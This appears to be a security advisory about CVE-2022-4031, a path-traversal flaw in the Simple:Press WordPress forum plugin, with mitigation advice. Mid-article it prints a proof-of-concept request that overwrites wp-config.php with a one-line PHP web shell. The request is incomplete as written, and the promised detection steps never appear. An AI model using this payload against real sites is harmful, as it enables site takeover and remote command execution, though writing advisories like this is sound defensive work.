The Simple:Press plugin for WordPress is an extremely popular forum management solution offering a powerful, yet easy-to-use interface for website administrators. However, a new vulnerability with the Common Vulnerabilities and Exposures (CVE) identification number CVE-2022-4031 has recently been discovered, potentially putting millions of WordPress sites at risk worldwide.

This vulnerability exposes a security flaw in Simple:Press versions up to and including 6.8, making it possible for attackers with high-level administrator permissions to modify arbitrary files on the server, potentially leading to unauthorized access and control over the website, data leaks and other severe consequences.

In this article, we'll cover the details of the CVE-2022-4031 vulnerability, steps to detect if your site is affected, as well as recommended actions to protect your site from potential attacks.

Vulnerability Details (CVE-2022-4031)

The CVE-2022-4031 vulnerability in the Simple:Press WordPress plugin stems from how it handles the 'file' parameter, which is used to edit files within the context of the plugin. Unfortunately, Simple:Press does not properly restrict the files that can be edited, opening the door for attackers with high-level permissions such as an administrator to supply paths to arbitrary files on the server. This can then be exploited to modify files outside the intended scope of the plugin.

Exploit Proof of Concept (PoC)

The following code snippet demonstrates the vulnerability, allowing an attacker with proper permissions to modify an arbitrary file outside the scope of the plugin:

POST /wp-admin/admin.php?page=sp-files&action=edit&file=../../../../../wp-config.php HTTP/1.1
Content-Disposition: form-data; name="savefile"

<?php system($_GET['cmd']);?>

With this PoC code, an attacker can maliciously change the content of the wp-config.php file, for instance, to include a custom command.

The CVE-2022-4031 vulnerability was initially reported on the following online platforms

1. CVE Details Page
2. Exploit Database Entry

Mitigation and Remediation

To protect your website from the CVE-2022-4031 vulnerability, we recommend the following immediate steps:

1. Upgrade to the latest version of the Simple:Press plugin as soon as possible (if one that addresses the vulnerability has been released).

Regularly update all WordPress plugins and themes to the latest versions.

3. Limit administrator access to only trusted users and restrict administrator login to known, secure IPs.
4. Monitor your website for any suspicious activity or unauthorized changes and have a reliable backup and recovery plan in place.


The Simple:Press WordPress plugin's vulnerability, identified as CVE-2022-4031, is a serious security risk for millions of websites that rely on the plugin for forum management. By understanding the nature of this vulnerability and following the recommended actions, however, you can protect your site from potential attacks and maintain a secure online presence.


Published on: 11/29/2022 21:15:00 UTC
Last modified on: 12/01/2022 18:34:00 UTC